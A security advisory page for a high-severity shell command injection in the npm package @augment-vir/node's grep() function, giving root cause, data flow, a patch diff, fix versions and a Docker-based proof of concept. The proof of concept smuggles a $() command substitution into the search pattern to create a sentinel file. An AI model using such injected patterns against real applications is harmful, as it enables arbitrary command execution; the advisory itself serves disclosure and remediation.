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augment-virShell allows Command Injection in `grep()` via Unsanitized `searchPattern`GHSA-xvcc-vqjv-phqh

HIGHFix: electrovir/augment-vir@9e1a359

GHSA-xvcc-vqjv-phqh is a high-severity (CVSS 7.8) remote code execution vulnerability in @augment-vir/node. A fix is available for @augment-vir/node — see the affected versions and patch details below.

Also known asCVE-2026-63496
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 17, 2026 · OSV.dev, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-xvcc-vqjv-phqh.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs8th percentile — riskier than 8% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

49other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@augment-vir/nodenpm
23Kdownloads / week

Description

Shell Command Injection in grep() via Unsanitized searchPattern

Summary

The grep() function exported by @augment-vir/node inserts caller-controlled search patterns directly into a double-quoted shell command string without sanitization (grep.ts:310). When the constructed command is passed to spawn() with shell: 'bash' (shell.ts:98-99), bash evaluates $() command substitution expressions embedded in the pattern, resulting in arbitrary OS command execution as the Node.js process user. Any downstream application that passes untrusted input to grep()'s pattern or patterns field is vulnerable to unauthenticated local (and potentially remote) code execution. CVSS Base Score: 7.8 (High).

Details

Root cause: packages/node/src/augments/fs/grep.ts:310 maps each search pattern into the shell fragment -e "${searchPattern}" with no sanitization:

// grep.ts:310
...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`),

The resulting full command string is forwarded to runShellCommand (grep.ts:320), which calls streamShellCommand (shell.ts:221-224), which ultimately calls:

// shell.ts:98-99
const childProcess = spawn(command, {
    shell,   // defaults to 'bash' (shell.ts:92)

Because shell is 'bash', bash interprets $() within the double-quoted pattern as a command substitution and executes it before grep ever runs.

Incomplete sanitization: An escape() helper exists at grep.ts:178-180 but only replaces " with \" and removes newlines. It is applied to excludePatterns, excludeDirs, and includeFiles (grep.ts:297-308) but not to searchPatterns. Even if it were applied, double-quote escaping does not prevent $() or backtick substitution inside bash double-quote contexts.

Data flow (source → sink):

StepLocationDescription
1packages/node/src/index.ts:3export * from './augments/fs/grep.js' — exposes grep() as a public npm API
2packages/node/src/augments/fs/grep.ts:223-226grep() accepts caller-controlled grepSearchPattern and grepSearchLocation
3packages/node/src/augments/fs/grep.ts:228searchPatterns derived from grepSearchPattern.patterns || [grepSearchPattern.pattern]
4packages/node/src/augments/fs/grep.ts:269-314fullCommand built as a plain shell string
5packages/node/src/augments/fs/grep.ts:310Sink: searchPattern inserted as `-e "${searchPattern}"` — no escaping applied
6packages/node/src/augments/fs/grep.ts:320fullCommand passed to runShellCommand
7packages/node/src/augments/terminal/shell.ts:221-224Forwarded to streamShellCommand
8packages/node/src/augments/terminal/shell.ts:98-99spawn(command, { shell: 'bash' }) executes the constructed command string

Suggested remediation:

--- a/packages/node/src/augments/fs/grep.ts
+++ b/packages/node/src/augments/fs/grep.ts
@@
-function escape(input: string) {
-    return input.replaceAll('"', String.raw`\"`).replaceAll('\n', '');
+function shellQuote(input: string) {
+    return `'${input.replaceAll("'", String.raw`'\''`).replaceAll('\n', '')}'`;
 }
@@
-        ...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`),
+        ...searchPatterns.map((searchPattern) => `-e ${shellQuote(searchPattern)}`),
+        '--',
         ...searchParts,

Alternatively, replace the shell-string approach with spawn('grep', args, { shell: false }) to avoid shell interpretation entirely.

PoC

Prerequisites: Docker installed on the host. All steps run locally inside a container — no network exposure, no real credentials, no DoS.

Step 1 — Build the Docker image:

docker build -t augment-vir-vuln-001-poc \
  vuln-001

Step 2 — Run the exploit container:

docker run --rm --name augment-vir-vuln-001-run augment-vir-vuln-001-poc

Core exploit (exploit.mjs inside the container):

import { grep } from '@augment-vir/node';

await grep(
  { pattern: '$(touch /tmp/augment-vir-poc-triggered)no-match' },
  { file: 'package.json' },
);

The $() shell substitution in the pattern causes bash to execute touch /tmp/augment-vir-poc-triggered before grep runs. The sentinel file is created even though the grep pattern itself matches nothing in package.json.

Expected output:

[*] Calling grep() with injected $() command substitution pattern...
[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match

=== VULNERABLE ===
[+] COMMAND INJECTION CONFIRMED: sentinel file exists at /tmp/augment-vir-poc-triggered
[+] The $() substitution in pattern was executed by bash via spawn({shell:"bash"})

Minimal reproduction without Docker:

mkdir /tmp/av-grep-poc && cd /tmp/av-grep-poc
npm init -y
npm install @augment-vir/[email protected]

cat > poc.mjs <<'EOF'
import { grep } from '@augment-vir/node';
await grep(
  { pattern: '$(touch /tmp/augment-vir-grep-poc)no-match' },
  { file: 'package.json' },
);
EOF

rm -f /tmp/augment-vir-grep-poc
node poc.mjs
test -f /tmp/augment-vir-grep-poc && echo VULNERABLE

Verification: Both Phase 1 static analysis and Phase 2 dynamic reproduction confirmed the vulnerability. VULNERABLE and COMMAND INJECTION CONFIRMED were observed in stdout; the sentinel file /tmp/augment-vir-poc-triggered was created inside the Docker container.

Impact

This is an OS Command Injection (CWE-78) vulnerability. Any application that calls @augment-vir/node's grep() with user-controlled input in the pattern or patterns field is vulnerable to arbitrary command execution under the Node.js process's user account.

  • Confidentiality — High: An attacker can read arbitrary files accessible to the process.
  • Integrity — High: An attacker can write or delete files, install malware, or modify application data.
  • Availability — High: An attacker can terminate processes or exhaust system resources.

The attack vector is classified as Local (the attacker must control the value passed to pattern at the library API level). In practice the severity escalates to Network-reachable if a web service or API maps any user-supplied string to the grep() pattern parameter. No authentication or special privileges are required; the function is exported from the package's main entry point and is enabled by default.

Reproduction artifacts

Dockerfile

FROM node:22-slim

# Install grep (required by @augment-vir/node's grep() implementation)
RUN apt-get update -qq && apt-get install -y --no-install-recommends grep && rm -rf /var/lib/apt/lists/*

WORKDIR /poc

# Initialize npm project and install the vulnerable package version
RUN npm init -y && \
    npm install @augment-vir/[email protected] --save 2>&1 | tail -5

# Create the exploit script that demonstrates command injection via grep()
# The pattern '$(touch /tmp/augment-vir-poc-triggered)no-match' is injected
# into the shell command string without sanitization, causing $() substitution
# to execute 'touch /tmp/augment-vir-poc-triggered' under bash.
RUN cat > /poc/exploit.mjs << 'EOF'
import { grep } from '@augment-vir/node';
import { existsSync } from 'node:fs';

const SENTINEL_FILE = '/tmp/augment-vir-poc-triggered';

// Remove sentinel file if it exists from a previous run
import { rmSync } from 'node:fs';
try { rmSync(SENTINEL_FILE); } catch {}

console.log('[*] Calling grep() with injected $() command substitution pattern...');
console.log('[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match');

try {
  await grep(
    { pattern: '$(touch /tmp/augment-vir-poc-triggered)no-match' },
    { file: 'package.json' },
  );
} catch (err) {
  // grep() may throw due to no matches — that is expected and irrelevant
  console.log('[*] grep() threw (expected when no matches):', err?.message ?? err);
}

if (existsSync(SENTINEL_FILE)) {
  console.log('');
  console.log('=== VULNERABLE ===');
  console.log('[+] COMMAND INJECTION CONFIRMED: sentinel file exists at', SENTINEL_FILE);
  console.log('[+] The $() substitution in pattern was executed by bash via spawn({shell:"bash"})');
  process.exit(0);
} else {
  console.log('');
  console.log('=== NOT EXPLOITED ===');
  console.log('[-] Sentinel file was NOT created — injection did not fire.');
  process.exit(1);
}
EOF

CMD ["node", "/poc/exploit.mjs"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: Shell Command Injection in @augment-vir/node grep()
CWE-78 — OS Command Injection
Affected version: @augment-vir/[email protected]

Root cause:
  packages/node/src/augments/fs/grep.ts:310 constructs a shell command string
  using unsanitized caller-supplied searchPattern inside double quotes:
    ...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`)
  This command string is passed to spawn(command, { shell: 'bash' }), meaning
  $() command substitution in the pattern is executed by bash.

Safe usage: This PoC runs entirely inside a local Docker container.
            No external network attacks, no real credentials, no DoS.
"""

import subprocess
import sys
import os
import json

IMAGE_NAME = "augment-vir-vuln-001-poc"
CONTAINER_NAME = "augment-vir-vuln-001-run"
DOCKERFILE_DIR = os.path.dirname(os.path.abspath(__file__))

BUILD_CMD = f"docker build -t {IMAGE_NAME} {DOCKERFILE_DIR}"
RUN_CMD = f"docker run --rm --name {CONTAINER_NAME} {IMAGE_NAME}"


def run(cmd, **kwargs):
    """Run a shell command and return CompletedProcess."""
    print(f"[cmd] {cmd}")
    return subprocess.run(cmd, shell=True, capture_output=True, text=True, **kwargs)


def main():
    print("=" * 60)
    print("VULN-001 PoC: Shell Command Injection in grep()")
    print("Package: @augment-vir/[email protected]")
    print("=" * 60)

    # Step 1: Build Docker image
    print("\n[*] Building Docker image...")
    build_result = run(BUILD_CMD, timeout=300)
    if build_result.returncode != 0:
        print("[!] Docker build FAILED")
        print(build_result.stdout[-2000:] if build_result.stdout else "")
        print(build_result.stderr[-2000:] if build_result.stderr else "")
        write_result(
            passed=False,
            verdict="FAIL",
            reason="Docker 빌드 실패 — npm install 또는 네트워크 오류",
            evidence=build_result.stderr[-1000:],
        )
        sys.exit(1)
    print("[+] Docker image built successfully")

    # Step 2: Run exploit container
    print("\n[*] Running exploit container...")
    run_result = run(RUN_CMD, timeout=120)

    combined_output = run_result.stdout + run_result.stderr
    print(combined_output)

    # Step 3: Evaluate result
    vulnerable = "VULNERABLE" in combined_output and "COMMAND INJECTION CONFIRMED" in combined_output

    if vulnerable:
        print("\n[+] PASS — Command injection confirmed inside Docker container")
        print("[+] The $() substitution in grep() pattern was executed by bash")
        write_result(
            passed=True,
            verdict="PASS",
            reason=(
                "Docker 컨테이너 내에서 grep() 패턴에 포함된 $() 명령 치환이 bash에 의해 실행되었음을 확인. "
                "sentinel 파일 /tmp/augment-vir-poc-triggered가 생성되었으며 stdout에서 'VULNERABLE' 및 "
                "'COMMAND INJECTION CONFIRMED' 문자열이 관측됨."
            ),
            evidence=combined_output.strip()[-1500:],
        )
        sys.exit(0)
    else:
        print("\n[-] FAIL — exploit did not produce expected output")
        write_result(
            passed=False,
            verdict="FAIL",
            reason=(
                "컨테이너 stdout에서 'VULNERABLE' 또는 'COMMAND INJECTION CONFIRMED'가 관측되지 않음. "
                "sentinel 파일이 생성되지 않았거나 grep() 동작이 예상과 다를 수 있음."
            ),
            evidence=combined_output.strip()[-1500:],
        )
        sys.exit(1)


def write_result(passed, verdict, reason, evidence):
    result = {
        "passed": passed,
        "verdict": verdict,
        "reason": reason,
        "build_command": BUILD_CMD,
        "run_command": RUN_CMD,
        "poc_command": f"python3 {os.path.abspath(__file__)}",
        "evidence": evidence,
        "artifacts": ["Dockerfile", "poc.py"],
    }
    out_path = os.path.join(DOCKERFILE_DIR, "phase2_result.json")
    with open(out_path, "w", encoding="utf-8") as f:
        json.dump(result, f, ensure_ascii=False, indent=2)
    print(f"\n[*] Result written to {out_path}")


if __name__ == "__main__":
    main()

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@augment-vir/nodeall versions31.73.5npm install @augment-vir/node@31.73.5

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @augment-vir/node, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @augment-vir/node to 31.73.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xvcc-vqjv-phqh is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Frequently Asked Questions

## Shell Command Injection in `grep()` via Unsanitized `searchPattern` ### Summary The `grep()` function exported by `@augment-vir/node` inserts caller-controlled search patterns directly into a double-quoted shell command string without sanitization (`grep.ts:310`). When the constructed command is passed to `spawn()` with `shell: 'bash'` (`shell.ts:98-99`), bash evaluates `$()` command substitution expressions embedded in the pattern, resulting in arbitrary OS command execution as the Node.js process user. Any downstream application that passes untrusted input to `grep()`'s `pattern` or `pa
O3 Security · Impact-Aware SCA

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